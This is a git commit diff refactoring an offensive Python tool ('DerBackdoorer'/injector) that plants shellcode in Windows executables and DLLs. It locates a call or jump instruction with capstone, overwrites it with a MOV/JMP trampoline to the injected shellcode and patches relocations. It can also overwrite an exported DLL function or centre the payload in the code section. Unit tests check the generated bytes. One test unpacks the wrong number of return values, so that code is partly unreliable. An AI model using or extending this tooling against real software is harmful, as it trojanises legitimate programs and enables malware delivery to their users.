refactor: remove recursion from DerBackdoorer

pe/derbackdoorer.py

@@ -4,11 +4,9 @@
 #
 
 import random
-import textwrap
 import pefile
 import capstone
 import keystone
-from enum import IntEnum
 import logging
 
 from utils import hexdump
@@ -18,89 +16,101 @@ from model.defs import *
 logger = logging.getLogger("DerBackdoorer")
 
 
-class FunctionBackdoorer:
+class DEPTH_OPTIONS(Enum):
-    def __init__(self, superpe: SuperPe, main_shc: bytes):
+    LEVEL1 = 1
-        self.superpe: SuperPe = superpe
+    LEVEL2a = 2
-        self.shellcodeData: bytes = main_shc
+    LEVEL2b = 3
-        self.shellcodeAddr: int = 0
     
+
+class FunctionBackdoorer:
+    def __init__(self, superpe: SuperPe, depth_option=DEPTH_OPTIONS.LEVEL1):
+        self.superpe: SuperPe = superpe
         self.pe_data = self.superpe.pe.get_memory_mapped_image()
 
         self.cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
         self.ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
         self.cs.detail = True
+        self.depth_option: DEPTH_OPTIONS = depth_option
 
 
     def backdoor_function(self, function_addr: int, shellcode_addr: int):
-        self.shellcodeAddr = shellcode_addr
         logger.info("Backdooring function at 0x{:X} (to shellcode 0x{:X})".format(function_addr, shellcode_addr))
         
-        instr = self.find_suitable_instruction_addr(function_addr, 128)
+        addr = self.find_suitable_instruction_addr(function_addr)
-        if instr is None:
+        if addr is None:
             raise Exception("Couldn't find a suitable instruction to backdoor")
-        compiled_trampoline, trampoline_reloc_offset = self.get_trampoline(instr)
+        #logger.info("--[ Choosen addr to overwrite: 0x{:X}".format(addr))
 
+        compiled_trampoline, text_trampoline, trampoline_reloc_offset = self.get_trampoline(addr, shellcode_addr)
+        logger.info("--[ Backdoor 0x{:X}: {}".format(
+            addr, text_trampoline))
         # write
-        self.superpe.pe.set_bytes_at_rva(instr.address, bytes(compiled_trampoline))
+        self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline))
 
         # relocs
         relocs = (
-            instr.address + trampoline_reloc_offset,
+            addr + trampoline_reloc_offset,
         )
-        pageRva = 4096 * int((instr.address + trampoline_reloc_offset) / 4096)
+        pageRva = 4096 * int((addr + trampoline_reloc_offset) / 4096)
         self.superpe.addImageBaseRelocations(pageRva, relocs)
 
 
-    def find_suitable_instruction_addr(self, startOffset, length, maxDepth = 5):
+    def find_suitable_instruction_addr(self, startOffset, length=256):
         """Find a instruction to backdoor. Recursively."""
-        return self._find_suitable_instruction_addr(startOffset, length, maxDepth, 1)
+        logger.info("find suitable instr to hijack: off: from 0x{:X} len:{} depthopt:{}".format(
+            startOffset, length, self.depth_option))
 
+        if self.depth_option == DEPTH_OPTIONS.LEVEL1:
+            return self._find_suitable_instruction_addr(startOffset, length, 1)
+        else:
+            addr = self._find_suitable_instruction_addr(startOffset, length, 2)
+            logger.info("Using code at 0x{:X} to find instruction".format(addr))
         
-    def _find_suitable_instruction_addr(self, startOffset, length, maxDepth, depth):
+            if self.depth_option == DEPTH_OPTIONS.LEVEL2a:
-        logger.info("find_suitable_instruction_addr: off: 0x{:X} len:{} depth:{}".format(startOffset, length, depth))
+                return self._find_suitable_instruction_addr(addr, length, 2)
+            elif self.depth_option == DEPTH_OPTIONS.LEVEL2b:
+                return self._find_suitable_instruction_addr(addr, length, 3)
 
-        if depth > maxDepth:
         return None
 
+
+    def _find_suitable_instruction_addr(self, startOffset, length, option):
+        #logger.info("_find_suitable_instruction_addr: off: 0x{:X} len:{} option:{}".format(startOffset, length, option))
+
+        # iterate through every instruction. starting from startOffset
         data = self.pe_data[startOffset:startOffset + length]
-
         for instr in self.cs.disasm(data, startOffset):
-            self.printInstr(instr, depth)
+            self.printInstr(instr, 0)
             
-            # find a call/jmp instruction with an immediate operand
+            if instr.mnemonic.lower() in ['ret']:
+                return None
             if len(instr.operands) != 1:
                 continue
             operand = instr.operands[0]
             if operand.type != capstone.CS_OP_IMM:
+                # find a call/jmp instruction with an immediate operand
                 continue
 
-            # We found one. check it.
+            jump_instructions = ['call', 'jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
-            logger.info('\t' * depth + f' -> Found OP_IMM: 0x{operand.value.imm:X}')
+            if not instr.mnemonic.lower() in jump_instructions:
-            is_jumpy = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
-            is_jumpy |= instr.mnemonic.lower() == 'call'
-            if not is_jumpy:
                 continue
+            if option == 1:  # addr
+                return instr.address
+            elif option == 2:  # dest taken
+                return operand.value.imm
+            elif option == 3:  # dest not taken
+                return instr.address + instr.size
 
-            # dont take a jump too early
-            if depth >= 2:
-                # use this as the backdoor
-                return instr
-            else:
-                # follow it deeper
-                if depth + 1 <= maxDepth:
-                    out = self._find_suitable_instruction_addr(
-                        operand.value.imm, length, maxDepth, depth + 1)
-                    return out
         return None
 
 
-    def get_trampoline(self, instr):
+    def get_trampoline(self, addr, shellcode_addr):
         addrOffset = -1
 
         if not self.superpe.is_64():
             raise Exception("Not 64 bit")
         reg = random.choice(['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']).upper()
-        full_shellcode_addr = self.shellcodeAddr + self.superpe.pe.OPTIONAL_HEADER.ImageBase 
+        full_shellcode_addr = shellcode_addr + self.superpe.pe.OPTIONAL_HEADER.ImageBase 
 
         enc, count = self.ks.asm(f'MOV {reg}, 0x{full_shellcode_addr:X}')
         for instr2 in self.cs.disasm(bytes(enc), 0):
@@ -121,12 +131,11 @@ class FunctionBackdoorer:
 
         trampoline_text = f'MOV {reg}, 0x{full_shellcode_addr:X} ; {jump}'
         trampoline_compiled, count = self.ks.asm(trampoline_text)
-        logger.info("--[ Backdooring {} at 0x{:X} with trampoline: {}".format(
+
-            instr.mnemonic.upper(), instr.address, trampoline_text))
+        return trampoline_compiled, trampoline_text, addrOffset
-        return trampoline_compiled, addrOffset
     
 
-    def printInstr(self, instr, depth):
+    def printInstr(self, instr, depth=0):
         _bytes = [f'{x:02x}' for x in instr.bytes[:8]]
         if len(instr.bytes) < 8:
             _bytes.extend(['  ',] * (8 - len(instr.bytes)))

pe/pehelper.py

@@ -63,7 +63,7 @@ def get_code_section(pe: pefile.PE) -> pefile.SectionStructure:
         if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
             if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
                 return sect
-    raise Exception("Code section not found")
+    raise Exception("pehelper::get_code_section(): Code section not found")
 
 
 # keystone/capstone stuff

pe/superpe.py

@@ -277,10 +277,16 @@ class SuperPe():
 
         return res
     
+    def get_size_of_exported_function(self, dllfunc):
+        exports = self.get_exports_full()
+        for exp in exports:
+            if exp["name"] == dllfunc:
+                return exp["size"]
+        return None
 
     ## Helpers
 
-    def get_physical_address(self, virtual_address) -> int:
+    def get_offset_from_rva(self, virtual_address) -> int:
         """Convert a virtual address to a physical address in the PE file"""
         # Iterate through the section headers to find which section contains the VA
         for section in self.pe.sections:

phases/injector.py

@@ -33,35 +33,31 @@ def inject_exe(
     # Read prepared loader shellcode
     # And check if it fits into the target code section
     main_shc = file_readall_binary(main_shc_path)
-    l = len(main_shc)
+    shellcode_len = len(main_shc)
-    if l + 128 > project.exe_host.code_section.Misc_VirtualSize:
+    if shellcode_len + 128 > project.exe_host.code_section.Misc_VirtualSize:
-        logger.error("Error: Shellcode {}+128 too small for target code section {}".format(
+        raise Exception("Error: Shellcode {}+128 too small for target code section {}".format(
-            l, project.exe_host.code_section.Misc_VirtualSize
+            shellcode_len, project.exe_host.code_section.Misc_VirtualSize
         ))
-        return False
 
     # superpe is a representation of the exe file. We gonna modify it, and save it at the end.
     superpe = SuperPe(exe_in)
-    function_backdoorer = FunctionBackdoorer(superpe, main_shc)
+    function_backdoorer = FunctionBackdoorer(superpe)
 
-    shellcode_offset: int = 0
+    shellcode_offset: int = 0  # file offset
     if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
         # Special case. put it at the beginning of the exported DLL function
         logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
         rva = superpe.getExportEntryPoint(settings.dllfunc)
 
         # Size and sanity checks
-        exports = superpe.get_exports_full()
+        function_size = superpe.get_size_of_exported_function(settings.dllfunc)
-        for exp in exports:
+        if shellcode_len >= function_size:
-            if exp["name"] == settings.dllfunc:
-                if l >= exp["size"]:
             raise Exception("Shellcode too large: {} > {} exported function {}".format(
-                        l, exp["size"], settings.dllfunc
+                shellcode_len, function_size, settings.dllfunc
             ))
-                break
 
         # Inject
-        shellcode_offset = superpe.get_physical_address(rva)
+        shellcode_offset = superpe.get_offset_from_rva(rva)
         logger.info(f'---[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
         superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
 
@@ -69,15 +65,15 @@ def inject_exe(
         sect = superpe.get_code_section()
         if sect == None:
             raise Exception('Could not find code section in input PE file!')
-        sect_name = sect.Name.decode().rstrip('\x00')
         sect_size = sect.Misc_VirtualSize  # Better than: SizeOfRawData
-        if sect_size < l:
+        if sect_size < shellcode_len:
             raise Exception("Shellcode too large: {} > {}".format(
-                l, sect_size
+                shellcode_len, sect_size
             ))
-        shellcode_offset = int((sect_size - l) / 2)
+        shellcode_offset = int((sect_size - shellcode_len) / 2)  # centered in the .text section
+        shellcode_offset += sect.PointerToRawData
         shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
-        logger.info("--( Inject: Shellcode rva:0x{:X}  offset:0x{:X}".format(
+        logger.info("--( Inject: Shellcode rva:0x{:X} (from offset:0x{:X})".format(
             shellcode_rva, shellcode_offset))
 
         # Copy the shellcode

tests/test_derbackdoorer.py

@@ -1,15 +1,11 @@
-import shutil
 from typing import List
 import unittest
-import logging
 
-from model.exehost import ExeHost
 from model.defs import *
-from pe.pehelper import extract_code_from_exe_file
 from utils import hexdump
 from observer import observer
 from model.defs import *
-from pe.derbackdoorer import FunctionBackdoorer
+from pe.derbackdoorer import FunctionBackdoorer, DEPTH_OPTIONS
 from pe.superpe import SuperPe
 
 
@@ -20,40 +16,36 @@ class DerBackdoorerTest(unittest.TestCase):
 
 
     def test_function_backdoorer_exe(self):
-        shellcode = b"\x90" * 200
         superpe = SuperPe(PATH_EXES + "iattest-full.exe")
-        function_backdoorer = FunctionBackdoorer(superpe, shellcode)
+        function_backdoorer = FunctionBackdoorer(superpe, depth_option=DEPTH_OPTIONS.LEVEL1)
 
-        instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5)
+        addr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint())
-        self.assertIsNotNone(instr)
+        self.assertEqual(addr, 0x1304)
-        self.assertEqual(instr.mnemonic, "jne")
-        self.assertEqual(instr.address, 0x1701)
 
-        trampoline_compiled, trampoline_reloc_offset = function_backdoorer.get_trampoline(instr)
+        trampoline_compiled, trampline_text, trampoline_reloc_offset = function_backdoorer.get_trampoline(addr, 0x11223344)
-        print(hexdump(trampoline_compiled))
         self.assertEqual(trampoline_compiled[0], 0x48)
-        self.assertEqual(trampoline_compiled[2], 0x00)
+        self.assertEqual(trampoline_compiled[2], 0x44)
-        self.assertEqual(trampoline_compiled[5], 0x40)
+        self.assertEqual(trampoline_compiled[3], 0x33)
+        self.assertEqual(trampoline_compiled[4], 0x22)
+        self.assertEqual(trampoline_compiled[5], 0x51)
         self.assertEqual(trampoline_compiled[6], 0x01)
         self.assertEqual(trampoline_compiled[10], 0xff)
         self.assertEqual(trampoline_reloc_offset, 2)
 
 
     def test_function_backdoorer_dll(self):
-        shellcode = b"\x90" * 200
         superpe = SuperPe(PATH_EXES + "libbz2-1.dll")
-        function_backdoorer = FunctionBackdoorer(superpe, shellcode)
+        function_backdoorer = FunctionBackdoorer(superpe)
 
-        instr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint(), 128, 5)
+        addr = function_backdoorer.find_suitable_instruction_addr(superpe.get_entrypoint())
-        self.assertIsNotNone(instr)
+        self.assertEqual(addr, 0x135D)
-        self.assertEqual(instr.mnemonic, "jne")
-        self.assertEqual(instr.address, 0x1220)
 
-        trampoline_compiled, trampoline_reloc_offset = function_backdoorer.get_trampoline(instr)
+        trampoline_compiled, trampoline_reloc_offset = function_backdoorer.get_trampoline(addr, 0x11223344)
-        print(hexdump(trampoline_compiled))
         self.assertEqual(trampoline_compiled[0], 0x48)
-        self.assertEqual(trampoline_compiled[2], 0x00)
+        self.assertEqual(trampoline_compiled[2], 0x44)
-        self.assertEqual(trampoline_compiled[5], 0xf1)
+        self.assertEqual(trampoline_compiled[3], 0x33)
+        self.assertEqual(trampoline_compiled[4], 0x22)
+        self.assertEqual(trampoline_compiled[5], 0x51)
         self.assertEqual(trampoline_compiled[6], 0x01)
         self.assertEqual(trampoline_compiled[10], 0xff)
         self.assertEqual(trampoline_reloc_offset, 2)

tests/test_superpe.py

@@ -64,5 +64,5 @@ class SuperPeTest(unittest.TestCase):
         self.assertEqual(export["size"], 416)
 
         # VRA/Virt to Phys/Raw
-        raw = superpe.get_physical_address(0xD690)  # BZ2_bzdopen export
+        raw = superpe.get_offset_from_rva(0xD690)  # BZ2_bzdopen export
         self.assertEqual(raw, 0xCA90)